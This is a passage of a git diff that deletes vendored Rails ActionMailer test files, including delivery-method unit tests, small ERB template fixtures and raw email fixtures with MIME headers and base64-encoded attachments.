-      if request && request.ssl?
-        "https://www.example.com"
-      else
-        "http://www.example.com"
-      end
-    }
-    mail = nil
-    assert_nothing_raised { mail = AssetHostMailer.deliver_email_with_asset(@recipient) }
-    assert_equal "<img alt=\"Somelogo\" src=\"http://www.example.com/images/somelogo.png\" />", mail.body.strip
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/delivery_method_test.rb b/vendor/rails/actionmailer/test/delivery_method_test.rb
deleted file mode 100644
index 0731512e..00000000
--- a/vendor/rails/actionmailer/test/delivery_method_test.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'abstract_unit'
-
-class DefaultDeliveryMethodMailer < ActionMailer::Base
-end
-
-class NonDefaultDeliveryMethodMailer < ActionMailer::Base
-  self.delivery_method = :sendmail
-end
-
-class ActionMailerBase_delivery_method_Test < Test::Unit::TestCase
-  def setup
-    set_delivery_method :smtp
-  end
-  
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_should_be_the_default_smtp
-    assert_equal :smtp, ActionMailer::Base.delivery_method
-  end
-end
-
-class DefaultDeliveryMethodMailer_delivery_method_Test < Test::Unit::TestCase
-  def setup
-    set_delivery_method :smtp
-  end
-  
-  def teardown
-    restore_delivery_method
-  end
-  
-  def test_should_be_the_default_smtp
-    assert_equal :smtp, DefaultDeliveryMethodMailer.delivery_method
-  end
-end
-
-class NonDefaultDeliveryMethodMailer_delivery_method_Test < Test::Unit::TestCase
-  def setup
-    set_delivery_method :smtp
-  end
-  
-  def teardown
-    restore_delivery_method
-  end
-
-  def test_should_be_the_set_delivery_method
-    assert_equal :sendmail, NonDefaultDeliveryMethodMailer.delivery_method
-  end
-end
-
diff --git a/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb b/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
deleted file mode 100644
index b3f0438d..00000000
--- a/vendor/rails/actionmailer/test/fixtures/asset_host_mailer/email_with_asset.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
deleted file mode 100644
index 54950788..00000000
--- a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/hello.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Inside
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb
deleted file mode 100644
index 6d73f199..00000000
--- a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-text/html multipart
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb b/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb
deleted file mode 100644
index f4b91e40..00000000
--- a/vendor/rails/actionmailer/test/fixtures/auto_layout_mailer/multipart.text.plain.erb
+++ /dev/null
@@ -1 +0,0 @@
-text/plain multipart
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
deleted file mode 100644
index 0533a3b2..00000000
--- a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-You logged out
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
deleted file mode 100644
index 4789e888..00000000
--- a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-We do not spam
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/first_mailer/share.erb b/vendor/rails/actionmailer/test/fixtures/first_mailer/share.erb
deleted file mode 100644
index da43638c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/first_mailer/share.erb
+++ /dev/null
@@ -1 +0,0 @@
-first mail
diff --git a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_example_helper.erb b/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_example_helper.erb
deleted file mode 100644
index fcff3bb1..00000000
--- a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_example_helper.erb
+++ /dev/null
@@ -1 +0,0 @@
-So, <%= example_format(@text) %>
diff --git a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper.erb b/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper.erb
deleted file mode 100644
index 378777f8..00000000
--- a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello, <%= person_name %>. Thanks for registering!
diff --git a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper_method.erb b/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper_method.erb
deleted file mode 100644
index d5b8b285..00000000
--- a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_helper_method.erb
+++ /dev/null
@@ -1 +0,0 @@
-This message brought to you by <%= name_of_the_mailer_class %>.
diff --git a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_mail_helper.erb b/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_mail_helper.erb
deleted file mode 100644
index 96ec49d1..00000000
--- a/vendor/rails/actionmailer/test/fixtures/helper_mailer/use_mail_helper.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-From "Romeo and Juliet":
-
-<%= block_format @text %>
-
-Good ol' Shakespeare.
diff --git a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb b/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb
deleted file mode 100644
index 4b6810bf..00000000
--- a/vendor/rails/actionmailer/test/fixtures/helpers/example_helper.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module ExampleHelper
-  def example_format(text)
-    "<em><strong><small>#{h(text)}</small></strong></em>".html_safe
-  end
-end
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
deleted file mode 100644
index 93227145..00000000
--- a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello from layout <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
deleted file mode 100644
index 111576b6..00000000
--- a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.text.erb
+++ /dev/null
@@ -1 +0,0 @@
-text/plain layout - <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb
deleted file mode 100644
index 619d6b16..00000000
--- a/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Spammer layout <%= yield %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb b/vendor/rails/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb
deleted file mode 100644
index 897a5065..00000000
--- a/vendor/rails/actionmailer/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb
+++ /dev/null
@@ -1 +0,0 @@
-Have a lovely picture, from me. Enjoy!
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email b/vendor/rails/actionmailer/test/fixtures/raw_email
deleted file mode 100644
index 43f7a59c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis_buck@byu.edu Mon May  2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
-  charset=EUC-KR;
-  format=flowed
-To: willard15georgina@jamis.backpackit.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: =?EUC-KR?Q?NOTE:_=C7=D1=B1=B9=B8=BB=B7=CE_=C7=CF=B4=C2_=B0=CD?=
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email10 b/vendor/rails/actionmailer/test/fixtures/raw_email10
deleted file mode 100644
index b1fc2b26..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email10
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=X-UNKNOWN
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service. 
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email12 b/vendor/rails/actionmailer/test/fixtures/raw_email12
deleted file mode 100644
index 2cd31720..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email12
+++ /dev/null
@@ -1,32 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: image/jpeg
-Content-Transfer-Encoding: base64
-Content-Location: Photo25.jpg
-Content-ID: <qbFGyPQAS8>
-Content-Disposition: inline
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email13 b/vendor/rails/actionmailer/test/fixtures/raw_email13
deleted file mode 100644
index 7d9314e3..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email13
+++ /dev/null
@@ -1,29 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: text/x-ruby-script; name="hello.rb"
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment;
-	filename="api.rb"
-
-puts "Hello, world!"
-gets
-
---Apple-Mail-13-196941151--
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email2 b/vendor/rails/actionmailer/test/fixtures/raw_email2
deleted file mode 100644
index 3999fcc8..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email2
+++ /dev/null
@@ -1,114 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May  8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-X-Original-To: xxxxx@xxxxx.xxxxxxxxx.com
-Delivered-To: xxxxx@xxxxx.xxxxxxxxx.com
-Received: from localhost (localhost [127.0.0.1])
-	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
-	for <xxxxx@xxxxx.xxxxxxxxx.com>; Sun,  8 May 2005 19:09:13 +0000 (GMT)
-Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
- by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 88783-08 for <xxxxx@xxxxx.xxxxxxxxx.com>;
- Sun,  8 May 2005 19:09:12 +0000 (GMT)
-Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
-	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
-	for <xxxxx@xxxxxxxxx.org>; Sun,  8 May 2005 19:09:12 +0000 (GMT)
-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
-	by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
-	for <xxxxx@xxxxxxxxx.com>; Sun,  8 May 2005 14:09:11 -0500 (CDT)
-Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
-        for <xxxxx@xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
-        s=beta; d=gmail.com;
-        h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
-        b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
-Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
-        Sun, 08 May 2005 12:09:11 -0700 (PDT)
-Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed; 
-	boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Just started to use my xxxxxxxx account (to set-up a GTD system,
-natch) and noticed that when I send content via email the signature/
-certificate from my email account gets added as a file (e.g.
-"smime.p7s").
-
-Obviously I can uncheck the signature option in the Mail compose
-window but how often will I remember to do that?
-
-Is there any way these kind of files could be ignored, e.g. via some
-sort of exclusions list?
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/pkcs7-signature; name=smime.p7s
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="smime.p7s"
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
-hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
-+yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
-ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
-DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
-L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
-lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
-DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
-YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
-aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
-Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
-MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
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-fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email3 b/vendor/rails/actionmailer/test/fixtures/raw_email3
deleted file mode 100644
index 771a9635..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email3
+++ /dev/null
@@ -1,70 +0,0 @@
-From xxxx@xxxx.com Tue May 10 11:28:07 2005
-Return-Path: <xxxx@xxxx.com>
-X-Original-To: xxxx@xxxx.com
-Delivered-To: xxxx@xxxx.com
-Received: from localhost (localhost [127.0.0.1])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
-Received: from xxx.xxxxx.com ([127.0.0.1])
- by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 70060-03 for <xxxx@xxxx.com>;
- Tue, 10 May 2005 17:26:49 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
-Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
-	by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
-	for <xxxx@xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
-Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
-        for <xxxx@xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
-        s=beta; d=xxxxx.com;
-        h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
-        b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
-Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
-        Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
-Message-ID: <xxxx@xxxx.com>
-Date: Tue, 10 May 2005 11:26:39 -0600
-From: Test Tester <xxxx@xxxx.com>
-Reply-To: Test Tester <xxxx@xxxx.com>
-To: xxxx@xxxx.com, xxxx@xxxx.com
-Subject: Another PDF
-Mime-Version: 1.0
-Content-Type: multipart/mixed; 
-	boundary="----=_Part_2192_32400445.1115745999735"
-X-Virus-Scanned: amavisd-new at textdrive.com
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-Just attaching another PDF, here, to see what the message looks like,
-and to see if I can figure out what is going wrong here.
-
-------=_Part_2192_32400445.1115745999735
-Content-Type: application/pdf; name="broken.pdf"
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="broken.pdf"
-
-JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
-bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
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-ExepJCzTwEmFDalIRbLEGtw0gfpESOpIAF/NnpPzcVCG86s0g2DuSyd41uhNGbEgaSrWEXORErbw
-------=_Part_2192_32400445.1115745999735--
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email4 b/vendor/rails/actionmailer/test/fixtures/raw_email4
deleted file mode 100644
index 639ad40e..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email4
+++ /dev/null
@@ -1,59 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id 6AAEE3B4D23 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:23 -0500
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id j48HUC213279 for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:13 -0500
-Received: from conversion-xxx.xxxx.xxx.net by xxx.xxxx.xxx id <0IG600901LQ64I@xxx.xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Received: from agw1 by xxx.xxxx.xxx with ESMTP id <0IG600JFYLYCAxxx@xxxx.xxx> for <xxx@xxxx.xxx>; Sun, 8 May 2005 12:30:12 -0500
-Date: Sun, 8 May 2005 12:30:08 -0500
-From: xxx@xxxx.xxx
-To: xxx@xxxx.xxx
-Message-Id: <7864245.1115573412626.JavaMxxx@xxxx.xxx>
-Subject: Filth
-Mime-Version: 1.0
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4ca329_133ae40413c81ef
-X-Mms-Priority: 1
-X-Mms-Transaction-Id: 3198421808-0
-X-Mms-Message-Type: 0
-X-Mms-Sender-Visibility: 1
-X-Mms-Read-Reply: 1
-X-Original-To: xxx@xxxx.xxx
-X-Mms-Message-Class: 0
-X-Mms-Delivery-Report: 0
-X-Mms-Mms-Version: 16
-Delivered-To: xxx@xxxx.xxx
-X-Nokia-Ag-Version: 2.0
-
-This is a multi-part message in MIME format.
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: multipart/mixed; boundary=mimepart_427e4cb4cbd97_133ae40413c8217
-
-
-
---mimepart_427e4cb4cbd97_133ae40413c8217
-Content-Type: text/plain; charset=utf-8
-Content-Transfer-Encoding: 7bit
-Content-Disposition: inline
-Content-Location: text.txt
-
-Some text
-
---mimepart_427e4cb4cbd97_133ae40413c8217--
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-Content-Type: text/plain; charset=us-ascii
-Content-Transfer-Encoding: 7bit
-
-
---
-This Orange Multi Media Message was sent wirefree from an Orange
-MMS phone. If you would like to reply, please text or phone the
-sender directly by using the phone number listed in the sender's
-address. To learn more about Orange's Multi Media Messaging
-Service, find us on the Web at xxx.xxxx.xxx.uk/mms
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef
-
-
---mimepart_427e4cb4ca329_133ae40413c81ef-
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email5 b/vendor/rails/actionmailer/test/fixtures/raw_email5
deleted file mode 100644
index 151c6314..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email5
+++ /dev/null
@@ -1,19 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service. 
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email6 b/vendor/rails/actionmailer/test/fixtures/raw_email6
deleted file mode 100644
index 93289c4f..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email6
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=us-ascii
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service. 
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email7 b/vendor/rails/actionmailer/test/fixtures/raw_email7
deleted file mode 100644
index da64ada8..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email7
+++ /dev/null
@@ -1,66 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
